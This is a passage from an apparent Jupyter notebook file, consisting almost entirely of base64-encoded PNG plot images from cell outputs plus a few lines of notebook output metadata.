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\n", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 21, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAAAXAAAAD4CAYAAAD1jb0+AAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAAAwW0lEQVR4nO3deVxVdf7H8df3sm8KCiiKLCouCYKKK5qpY9kymqXTYmpq49Svfs3UzFQzTVnTNlNN0/ymfra5j5mVaf6aptwldxFxN3NBxA1UVJAdPr8/uJIaKOqFcy98no8HD/Fw7jnvy4X3PXzvOd9rRASllFKux2Z1AKWUUtdGC1wppVyUFrhSSrkoLXCllHJRWuBKKeWi3OtyZ8HBwRIVFVWXu1RKKZe3adOmEyIScunyOi3wqKgoUlJS6nKXSinl8owxB6tarkMoSinlorTAlVLKRV2xwI0xrYwxy40xu4wxO4wxv7Yvf8EYc9gYk2b/uK324yqllDqvJmPgpcBvRSTVGBMAbDLGLLZ/7e8i8mbtxVOXKikpITMzk8LCQqujKKUczNvbm/DwcDw8PGq0/hULXESOAkftn+caY3YBLa8rpbpmmZmZBAQEEBUVhTHG6jhKKQcREU6ePElmZibR0dE1us1VjYEbY6KALsB6+6LHjDFbjTFTjTFB1dxmojEmxRiTkp2dfTW7U1UoLCykadOmWt5K1TPGGJo2bXpVf13XuMCNMf7APOA3InIWmAy0ARKoOEL/W1W3E5EPRCRRRBJDQn5yGqO6BlreStVPV/u7XaMCN8Z4UFHes0XkCwAROS4iZSJSDnwI9LjKrDWWdug0763cV1ubV0opl3TFMXBT8ZQwBdglIm9dsDzMPj4OMBzYXjsR4YvUTGauPYi3u40Hk2o2NqSUUvVdTY7Ak4DRwMBLThl83RizzRizFRgAPFFbIZ+/4wZuvqEZL/zfTr5MO1xbu1E15ObmRkJCArGxsYwcOZL8/Pw6z7BixQrWrFlT5/u91GeffUbHjh0ZMGBAlV9PS0vj66+/vuJ2anp/pk+fzmOPPVbt19977z1mzpx52W3UNNP1WrBgATt37qz8//PPP8+SJUtqfb87duxg4MCBtGvXjjZt2jBp0iTKy8sB+PLLL+ncuTMJCQkkJiayatWqardz6NAhBgwYQMeOHenUqRP/+Mc/Kr926tQpBg8eTExMDIMHDyYnJweAxYsX061bN+Li4ujWrRvLli2rvM2mTZuIi4ujbdu2PP744zjkzXREpM4+unXrJteqoLhUfvHeGmnzh3/Lst3Hr3k7rm7nzp1WRxA/P7/Kz++//37529/+VqPblZSUOCzDpEmT5I033nDY9q7VLbfcIsuWLav269OmTZNHH330itup6f2p6fYcvY1reezGjh0rn3322VXf7nrk5+dL69at5dtvvxURkXPnzsmQIUPkrbfeEhGR3NxcKS8vFxGRLVu2SPv27avd1pEjR2TTpk0iInL27FmJiYmRHTt2iIjI73//e3nttddEROS1116Tp556SkREUlNT5fDhwyIism3bNmnRokXl9rp37y5r1qyR8vJyGTJkiHz99ddV7req33EgRaroVJcpcBGRMwXFcuvbydL+T19LSvqp69qWq7rwwX1h4Xb5xXtrHPrxwsLtV8xwYYFPnjxZHnnkEcnLy5Nx48ZJYmKiJCQkyIIFC0SkoixGjBghd9xxhwwYMEByc3PlwQcflNjYWImLi5PPP/9cRES+/fZb6dWrl3Tp0kVGjBghubm5IiISGRkpzz//vHTp0kViY2Nl165dcuDAAWnWrJm0aNFC4uPjJTk5WRYuXCg9evSQhIQEGTRokBw7dkxERLKysuRnP/uZdOnSRSZOnCgRERGSnZ0tIiKzZs2S7t27S3x8vEycOFFKS0urvc8ff/yxxMbGSqdOnSp/WV988UXx8/OTdu3aye9+97uf3KaoqEhatWolwcHBEh8fL5988omcPHlShg0bJnFxcdKzZ0/ZsmXLVd2fK5XvhU8E/fv3l6eeekq6d+8uMTExkpycXGWmq3nsBg4cWPlYnF9PRGTGjBkSFxcnnTt3lgceeEBWr14tQUFBEhUVJfHx8bJ3796LCn3JkiWSkJAgsbGxMm7cOCksLKz28RYRWbFihcTHx0t8fLwkJCTI2bNnq7z/H330kYwePfqiZXv37pWwsLCfrLtmzRrp0KFDtd/LSw0dOlQWLVokIiLt2rWTI0eOiEhF0bdr1+4n65eXl0uTJk2ksLBQjhw5ctGTxccffywTJ06scj9XU+AudSl9I28PZozvQfNG3oyfvpE9x3OtjtSglZaW8p///Ie4uDheeeUVBg4cyMaNG1m+fDm///3vOXfuHABr165lxowZLFu2jJdeeonGjRuz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